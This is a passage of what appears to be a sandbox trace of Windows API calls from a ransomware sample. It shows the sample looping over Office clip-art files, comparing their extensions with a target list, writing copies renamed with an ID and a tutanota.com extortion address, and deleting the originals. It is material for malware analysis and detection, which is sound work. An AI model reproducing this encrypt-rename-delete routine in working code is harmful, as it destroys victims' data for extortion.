lpString2="3.BMP") returned -1 [0173.001] lstrlenW (lpString=".pdf") returned 4 [0173.001] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString=".xls") returned 4 [0173.002] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString=".xlsx") returned 5 [0173.002] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0173.002] lstrlenW (lpString=".ppt") returned 4 [0173.002] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString=".zip") returned 4 [0173.002] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString=".rar") returned 4 [0173.002] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString=".bz2") returned 4 [0173.002] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString=".7z") returned 3 [0173.002] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString=".dbf") returned 4 [0173.002] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString=".1cd") returned 4 [0173.002] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString=".jpg") returned 4 [0173.002] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.002] lstrlenW (lpString=".doc") returned 4 [0173.002] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".docx") returned 5 [0173.003] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1 [0173.003] lstrlenW (lpString=".pdf") returned 4 [0173.003] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".xls") returned 4 [0173.003] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".xlsx") returned 5 [0173.003] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1 [0173.003] lstrlenW (lpString=".ppt") returned 4 [0173.003] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.003] lstrlenW (lpString=".zip") returned 4 [0173.003] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".rar") returned 4 [0173.003] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".bz2") returned 4 [0173.003] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString=".7z") returned 3 [0173.003] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.003] lstrlenW (lpString=".dbf") returned 4 [0173.003] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.003] lstrlenW (lpString=".1cd") returned 4 [0173.003] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68 [0173.003] lstrlenW (lpString=".jpg") returned 4 [0173.003] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.004] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0173.004] lstrlenW (lpString="J0101864.BMP") returned 12 [0173.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.319] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=31968) returned 1 [0173.319] CloseHandle (hObject=0x544) returned 1 [0173.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220 [0173.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.968] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.968] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.969] GetLastError () returned 0x0 [0173.969] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0173.972] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0173.974] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.974] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.974] SetEndOfFile (hFile=0x474) returned 1 [0173.974] CloseHandle (hObject=0x474) returned 1 [0173.974] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.974] SetEndOfFile (hFile=0x36c) returned 1 [0173.977] CloseHandle (hObject=0x36c) returned 1 [0173.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.979] lstrlenW (lpString=".doc") returned 4 [0173.979] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".docx") returned 5 [0173.979] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0173.979] lstrlenW (lpString=".pdf") returned 4 [0173.979] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".xls") returned 4 [0173.979] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".xlsx") returned 5 [0173.979] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0173.979] lstrlenW (lpString=".ppt") returned 4 [0173.979] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.979] lstrlenW (lpString=".zip") returned 4 [0173.979] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".rar") returned 4 [0173.979] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".bz2") returned 4 [0173.979] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString=".7z") returned 3 [0173.979] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.979] lstrlenW (lpString=".dbf") returned 4 [0173.979] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.979] lstrlenW (lpString=".1cd") returned 4 [0173.979] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.980] lstrlenW (lpString=".jpg") returned 4 [0173.980] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.980] lstrlenW (lpString=".doc") returned 4 [0173.980] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0173.980] lstrlenW (lpString=".docx") returned 5 [0173.980] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0173.980] lstrlenW (lpString=".pdf") returned 4 [0173.980] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0173.980] lstrlenW (lpString=".xls") returned 4 [0173.980] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0173.980] lstrlenW (lpString=".xlsx") returned 5 [0173.980] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0173.980] lstrlenW (lpString=".ppt") returned 4 [0173.980] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0173.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.980] lstrlenW (lpString=".zip") returned 4 [0173.980] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0173.981] lstrlenW (lpString=".rar") returned 4 [0173.981] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0173.981] lstrlenW (lpString=".bz2") returned 4 [0173.981] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0173.981] lstrlenW (lpString=".7z") returned 3 [0173.981] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0173.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.981] lstrlenW (lpString=".dbf") returned 4 [0173.981] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0173.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.981] lstrlenW (lpString=".1cd") returned 4 [0173.981] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0173.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68 [0173.981] lstrlenW (lpString=".jpg") returned 4 [0173.981] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0173.981] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0173.981] lstrlenW (lpString="J0102762.WMF") returned 12 [0173.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.982] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11216) returned 1 [0173.982] CloseHandle (hObject=0x36c) returned 1 [0173.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0173.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.982] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.983] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.984] GetLastError () returned 0x0 [0173.984] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0173.986] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0173.987] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.987] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.987] SetEndOfFile (hFile=0x474) returned 1 [0173.987] CloseHandle (hObject=0x474) returned 1 [0173.987] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.987] SetEndOfFile (hFile=0x36c) returned 1 [0173.990] CloseHandle (hObject=0x36c) returned 1 [0173.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0173.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.995] lstrlenW (lpString=".doc") returned 4 [0173.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.995] lstrlenW (lpString=".docx") returned 5 [0173.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.995] lstrlenW (lpString=".pdf") returned 4 [0173.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString=".xls") returned 4 [0173.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.996] lstrlenW (lpString=".xlsx") returned 5 [0173.996] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.996] lstrlenW (lpString=".ppt") returned 4 [0173.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString=".zip") returned 4 [0173.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.996] lstrlenW (lpString=".rar") returned 4 [0173.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString=".bz2") returned 4 [0173.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString=".7z") returned 3 [0173.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString=".dbf") returned 4 [0173.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString=".1cd") returned 4 [0173.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString=".jpg") returned 4 [0173.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.996] lstrlenW (lpString=".doc") returned 4 [0173.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString=".docx") returned 5 [0173.996] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.996] lstrlenW (lpString=".pdf") returned 4 [0173.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.996] lstrlenW (lpString=".xls") returned 4 [0173.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.997] lstrlenW (lpString=".xlsx") returned 5 [0173.997] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.997] lstrlenW (lpString=".ppt") returned 4 [0173.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.997] lstrlenW (lpString=".zip") returned 4 [0173.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.997] lstrlenW (lpString=".rar") returned 4 [0173.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.997] lstrlenW (lpString=".bz2") returned 4 [0173.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.997] lstrlenW (lpString=".7z") returned 3 [0173.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.997] lstrlenW (lpString=".dbf") returned 4 [0173.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.997] lstrlenW (lpString=".1cd") returned 4 [0173.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF") returned 68 [0173.997] lstrlenW (lpString=".jpg") returned 4 [0173.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.997] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0173.997] lstrlenW (lpString="J0102984.WMF") returned 12 [0173.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.998] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=17040) returned 1 [0173.998] CloseHandle (hObject=0x36c) returned 1 [0173.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0173.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.999] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.999] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0174.000] GetLastError () returned 0x0 [0174.000] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4290, lpOverlapped=0x0) returned 1 [0174.432] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0174.434] ReadFile (in: hFile=0x36c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0174.434] WriteFile (in: hFile=0x474, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0174.435] SetEndOfFile (hFile=0x474) returned 1 [0174.441] CloseHandle (hObject=0x474) returned 1 [0174.441] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0174.441] SetEndOfFile (hFile=0x36c) returned 1 [0174.454] CloseHandle (hObject=0x36c) returned 1 [0174.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0174.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0174.456] lstrlenW (lpString=".doc") returned 4 [0174.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.456] lstrlenW (lpString=".docx") returned 5 [0174.456] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0174.456] lstrlenW (lpString=".pdf") returned 4 [0174.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.456] lstrlenW (lpString=".xls") returned 4 [0174.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.456] lstrlenW (lpString=".xlsx") returned 5 [0174.456] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0174.456] lstrlenW (lpString=".ppt") returned 4 [0174.456] lstrcmpiW 